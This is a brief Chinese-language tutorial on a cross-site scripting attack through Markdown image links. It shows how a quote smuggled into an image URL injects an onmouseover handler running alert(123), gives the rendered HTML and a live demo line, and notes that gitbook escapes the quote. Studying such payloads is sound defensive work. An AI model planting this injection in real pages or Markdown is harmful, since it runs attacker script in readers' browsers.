Markdown XSS 圖片攻擊
滑鼠滑過事件
程式碼
![滑鼠滑過事件][1]
[1]: http://www.googl.com.tw/img.jpg#"onmouseover='alert(123)'
產生 Markdown HTML
<img src="http://www.googl.com.tw/img.jpg#" onmouseover='alert(123)' alt="滑鼠滑過事件">
Demo
![滑鼠滑過事件](http://www.googl.com.tw/img.jpg#"onmouseover='alert(123)')
在 gitbook 有將特殊字元 " 字串轉換成無法執行的
"，所以 gitbook 沒有這方面的漏洞